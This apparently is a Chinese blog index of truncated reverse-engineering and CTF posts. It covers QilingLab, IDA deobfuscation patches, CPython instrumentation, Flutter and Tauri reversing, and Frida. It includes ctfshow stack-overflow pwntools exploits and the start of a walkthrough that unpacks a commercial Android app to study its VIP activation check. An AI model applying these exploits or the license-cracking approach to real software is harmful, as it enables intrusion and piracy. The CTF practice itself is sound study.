qiling-labs练习参考Hijack - Qiling Framework Documentation
QilingLab Quickstart - Autumnal
屏蔽器 - QilingLab – 发布
环境搭建12345pip install qilinggit clone https://github.com/qilingframework/qiling.gitcd qilinggit submodule update --init --recursivepip install .
基础模板1234567891011from qiling import *def challenge1(ql: Qiling): passif __name__ == '__main__': path = ['qilinglab-x86_64'] # 我们的目标 rootfs = "./qiling/examples/rootfs/x8664_linux" # 在你clone下来的仓库里 ql = ...
obfusheader.h去除花指令 由于太多了直接使用脚本 一键处理
123456789startaddr = 0x7FF6E76C1000endaddr = 0x7FF6E76f5000//text段for i in range(startaddr, endaddr): if get_wide_byte(i) == 0x74: if get_wide_byte(i + 2) == 0x0: patch_byte((i + 2), 0x90) print("[+] Addr {} is patched".format(hex(i + 2)))
直接字符串查找定位 启动调试 输入长度为0x28
1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
打上读写断点 直接f9
第一次到了这里计算了长度
这里进行xor 提取也简单 拿加密完成的和明文xor一下就行
再次f9
高低位呼唤加取反
再次f9到了这里就是密文
123456789101 ...
修改cpython源码实现插桩参考2024 Ciscn长城杯铁人三项 逆向题Cython_[长城杯 2024]cython-CSDN博客
编译1git checkout 3.11
修改要的版本
直接执行
第一次就是有点慢
修改目标E:\cpython\Objects\abstract.c
测试样例就是ciscn2024的cython题
12345678910111213141516171819import ez flag = "a"*24flag1 = list(flag)value = []b = 0ck = 0if len(flag1) == 24: for i in range(0,len(flag1),4): b = ord(flag1[i]) << 24 | ord(flag1[i+1]) << 6 | ord(flag1[i+2]) << 8 | ord(flag1[i+3]) value.append(b) key = [102, 108, 97, 103]flag_encrypt = [] ...
flutterpro参考https://github.com/worawit/blutter
Android-Flutter逆向 | LLeaves Blog
[原创]flutter逆向 ACTF native app-Android安全-看雪-安全社区|安全招聘|kanxue.com
吾爱破解安卓逆向入门教程《安卓逆向这档事》番外实战篇3-拨云见日之浅谈Flutter逆向_哔哩哔哩_bilibili
123git clone https://github.com/worawit/blutter --depth=1cd .\blutter\python .\scripts\init_env_win.py
初始化一下
然后讲libapp和libflutter丢进新建的文件夹方便查找
1python .\blutter.py ..\chall\lib\arm64-v8a\ .\output
最后会得到这些内容 其中的ida_script就可以用来恢复libapp的符号
js则是实例的frida模板
可以看到在没还原之前都是一坨 使用了脚本以后就好了很多
flutter ...
ctfshow刷题wp栈溢出pwn36
12345678from pwn import *p = process('./pwn')# p = remote('pwn.challenge.ctf.show', 28250)payload = cyclic(0x28+4) + p32(0x8048586)p.sendline(payload)p.interactive()
pwn37
1234567891011from pwn import *p = process('./pwn')# p = remote('pwn.challenge.ctf.show', 28250)get_flag = 0x08048521payload = cyclic(0x12 + 0x4) + p32(get_flag)p.sendline(payload)p.interactive()
pwn38涉及到了栈对齐
123456789101112131415from pwn import *p = process( ...
l3hctf参考Tauri 框架的静态资源提取方法探究 | yllhwa's blog
oacia/stalker_trace_so: 一个IDA插件,利用frida-stalker在加载so时打印出所有函数调用,解决frida-trace无法在so加载时trace的问题
frida-stalker-trace 使用并实战某音 | mgaic
ez_android一开始想拿插件去trace的但是崩溃了 但是这个题不用trace也能做
tauriactivity的app 解包静态资源
分别对应文件名及其长度 文件内容及其长度
1234567891011121314151617181920212223242526272829303132333435363738394041424344import osimport brotliaddr = 0xC9498 # 这里的地址是压缩内容的地址endadd = 0xC9498+0xebdump = [0] * (endadd - addr)for i in range(addr, endadd): d ...
某apk简单分析看到一些师傅有破解的文章遂想自己独立尝试
有加固 尝试脱壳机
ok啊 搞出来了 jeb打开 研究一下vip的获取方式
可以使用激活码 抓包看一眼 使用reqable进行抓包
响应
去dex中查找一下内容 查找一下字符串
在这里查找一下关于网络的方法 可以找得到关于发送的请求头
接下来去寻找一下解析响应的方法
找个方法交叉引用一下
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107package com.itally.base.data;import android.text.TextUtils;import com.alibaba.fastjson.n;import com ...
CTF+Binary练习题-Re-Day4
判断输入是否为数字
这里就是核心代码
这里
搞到了 这里截图截错了 应该再往上搞一位
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586def solve_sudoku(grid): # Find an empty cell (with value 0) for i in range(9): for j in range(9): if grid[i][j] == 0: # Try all possible numbers for num in range(1, 10): if is_valid(grid, i, j, nu ...
frida for windows参考Frida-Windows 夏洛魂的个人博客
JavaScript API | Frida • A world-class dynamic instrumentation toolkit
12345678910111213#include<stdio.h>#include<stdint.h>int add(int a,int b){ return a+b;}int main(){ int a=6; int b=7; printf("%d",add(a,b));}
很简单的测试脚本 挨个把官方文档的api都试一试
搞一个开发环境
123git clone https://github.com/oleavr/frida-agent-example.git cd frida-agent-example/ npm install
网速慢就直接
1git config --global http.proxy http://127.0.0.1:78 ...